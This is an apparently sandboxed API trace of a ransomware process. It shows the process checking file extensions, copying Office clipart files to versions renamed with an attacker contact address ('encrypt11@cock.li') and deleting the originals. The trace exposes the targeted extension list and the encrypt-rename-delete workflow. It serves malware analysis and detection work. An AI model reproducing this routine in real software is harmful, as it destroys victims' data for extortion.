[0153.668] lstrlenW (lpString=".doc") returned 4 [0153.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.668] lstrlenW (lpString=".docx") returned 5 [0153.668] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.668] lstrlenW (lpString=".pdf") returned 4 [0153.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.668] lstrlenW (lpString=".xls") returned 4 [0153.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.668] lstrlenW (lpString=".xlsx") returned 5 [0153.668] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.668] lstrlenW (lpString=".ppt") returned 4 [0153.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0153.668] lstrlenW (lpString=".zip") returned 4 [0153.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.668] lstrlenW (lpString=".rar") returned 4 [0153.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.668] lstrlenW (lpString=".bz2") returned 4 [0153.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.668] lstrlenW (lpString=".7z") returned 3 [0153.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0153.668] lstrlenW (lpString=".dbf") returned 4 [0153.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0153.669] lstrlenW (lpString=".1cd") returned 4 [0153.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0153.669] lstrlenW (lpString=".jpg") returned 4 [0153.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.695] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.695] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.702] GetLastError () returned 0x0 [0153.702] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1374, lpOverlapped=0x0) returned 1 [0153.735] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1380, lpOverlapped=0x0) returned 1 [0153.736] ReadFile (in: hFile=0x358, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.736] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.736] SetEndOfFile (hFile=0x35c) returned 1 [0153.736] CloseHandle (hObject=0x35c) returned 1 [0153.736] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.736] SetEndOfFile (hFile=0x358) returned 1 [0153.737] CloseHandle (hObject=0x358) returned 1 [0153.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0153.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0153.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0153.738] lstrlenW (lpString=".doc") returned 4 [0153.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.738] lstrlenW (lpString=".docx") returned 5 [0153.738] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.738] lstrlenW (lpString=".pdf") returned 4 [0153.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.738] lstrlenW (lpString=".xls") returned 4 [0153.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.738] lstrlenW (lpString=".xlsx") returned 5 [0153.738] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.738] lstrlenW (lpString=".ppt") returned 4 [0153.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0153.738] lstrlenW (lpString=".zip") returned 4 [0153.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.738] lstrlenW (lpString=".rar") returned 4 [0153.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.738] lstrlenW (lpString=".bz2") returned 4 [0153.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.739] lstrlenW (lpString=".7z") returned 3 [0153.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0153.739] lstrlenW (lpString=".dbf") returned 4 [0153.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0153.739] lstrlenW (lpString=".1cd") returned 4 [0153.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0153.739] lstrlenW (lpString=".jpg") returned 4 [0153.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.744] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.744] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.745] GetLastError () returned 0x0 [0153.745] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1acc, lpOverlapped=0x0) returned 1 [0153.764] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0153.807] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.807] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.807] SetEndOfFile (hFile=0x378) returned 1 [0153.811] CloseHandle (hObject=0x378) returned 1 [0153.811] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.811] SetEndOfFile (hFile=0x348) returned 1 [0153.814] CloseHandle (hObject=0x348) returned 1 [0153.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0153.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0153.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0153.814] lstrlenW (lpString=".doc") returned 4 [0153.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.814] lstrlenW (lpString=".docx") returned 5 [0153.814] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.814] lstrlenW (lpString=".pdf") returned 4 [0153.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.815] lstrlenW (lpString=".xls") returned 4 [0153.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.815] lstrlenW (lpString=".xlsx") returned 5 [0153.815] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.815] lstrlenW (lpString=".ppt") returned 4 [0153.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0153.815] lstrlenW (lpString=".zip") returned 4 [0153.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.815] lstrlenW (lpString=".rar") returned 4 [0153.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.815] lstrlenW (lpString=".bz2") returned 4 [0153.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.815] lstrlenW (lpString=".7z") returned 3 [0153.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0153.815] lstrlenW (lpString=".dbf") returned 4 [0153.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0153.815] lstrlenW (lpString=".1cd") returned 4 [0153.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0153.815] lstrlenW (lpString=".jpg") returned 4 [0153.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.815] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.816] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.816] GetLastError () returned 0x0 [0153.816] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2a54, lpOverlapped=0x0) returned 1 [0154.067] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2a60, lpOverlapped=0x0) returned 1 [0154.069] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.069] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.069] SetEndOfFile (hFile=0x35c) returned 1 [0154.069] CloseHandle (hObject=0x35c) returned 1 [0154.069] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.069] SetEndOfFile (hFile=0x348) returned 1 [0154.070] CloseHandle (hObject=0x348) returned 1 [0154.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0154.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0154.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0154.071] lstrlenW (lpString=".doc") returned 4 [0154.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.071] lstrlenW (lpString=".docx") returned 5 [0154.071] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.071] lstrlenW (lpString=".pdf") returned 4 [0154.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.072] lstrlenW (lpString=".xls") returned 4 [0154.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.072] lstrlenW (lpString=".xlsx") returned 5 [0154.072] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.072] lstrlenW (lpString=".ppt") returned 4 [0154.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0154.072] lstrlenW (lpString=".zip") returned 4 [0154.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.072] lstrlenW (lpString=".rar") returned 4 [0154.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.072] lstrlenW (lpString=".bz2") returned 4 [0154.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.072] lstrlenW (lpString=".7z") returned 3 [0154.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0154.072] lstrlenW (lpString=".dbf") returned 4 [0154.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0154.072] lstrlenW (lpString=".1cd") returned 4 [0154.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0154.072] lstrlenW (lpString=".jpg") returned 4 [0154.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.074] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.074] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.075] GetLastError () returned 0x0 [0154.075] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0154.100] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0154.101] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.101] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.102] SetEndOfFile (hFile=0x35c) returned 1 [0154.108] CloseHandle (hObject=0x35c) returned 1 [0154.133] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.134] SetEndOfFile (hFile=0x348) returned 1 [0154.135] CloseHandle (hObject=0x348) returned 1 [0154.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0154.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0154.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0154.136] lstrlenW (lpString=".doc") returned 4 [0154.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.136] lstrlenW (lpString=".docx") returned 5 [0154.136] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.136] lstrlenW (lpString=".pdf") returned 4 [0154.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.137] lstrlenW (lpString=".xls") returned 4 [0154.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.137] lstrlenW (lpString=".xlsx") returned 5 [0154.137] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.137] lstrlenW (lpString=".ppt") returned 4 [0154.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0154.137] lstrlenW (lpString=".zip") returned 4 [0154.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.137] lstrlenW (lpString=".rar") returned 4 [0154.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.137] lstrlenW (lpString=".bz2") returned 4 [0154.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.137] lstrlenW (lpString=".7z") returned 3 [0154.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0154.137] lstrlenW (lpString=".dbf") returned 4 [0154.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0154.137] lstrlenW (lpString=".1cd") returned 4 [0154.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0154.137] lstrlenW (lpString=".jpg") returned 4 [0154.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.138] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.138] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.139] GetLastError () returned 0x0 [0154.139] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1574, lpOverlapped=0x0) returned 1 [0154.157] WriteFile (in: hFile=0x374, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1580, lpOverlapped=0x0) returned 1 [0154.158] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.158] WriteFile (in: hFile=0x374, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.158] SetEndOfFile (hFile=0x374) returned 1 [0154.159] CloseHandle (hObject=0x374) returned 1 [0154.159] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.159] SetEndOfFile (hFile=0x348) returned 1 [0154.160] CloseHandle (hObject=0x348) returned 1 [0154.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0154.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0154.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0154.163] lstrlenW (lpString=".doc") returned 4 [0154.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.163] lstrlenW (lpString=".docx") returned 5 [0154.163] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.164] lstrlenW (lpString=".pdf") returned 4 [0154.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.164] lstrlenW (lpString=".xls") returned 4 [0154.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.164] lstrlenW (lpString=".xlsx") returned 5 [0154.164] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.164] lstrlenW (lpString=".ppt") returned 4 [0154.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0154.164] lstrlenW (lpString=".zip") returned 4 [0154.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.164] lstrlenW (lpString=".rar") returned 4 [0154.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.164] lstrlenW (lpString=".bz2") returned 4 [0154.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.164] lstrlenW (lpString=".7z") returned 3 [0154.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0154.164] lstrlenW (lpString=".dbf") returned 4 [0154.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0154.164] lstrlenW (lpString=".1cd") returned 4 [0154.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0154.164] lstrlenW (lpString=".jpg") returned 4 [0154.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.171] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.171] 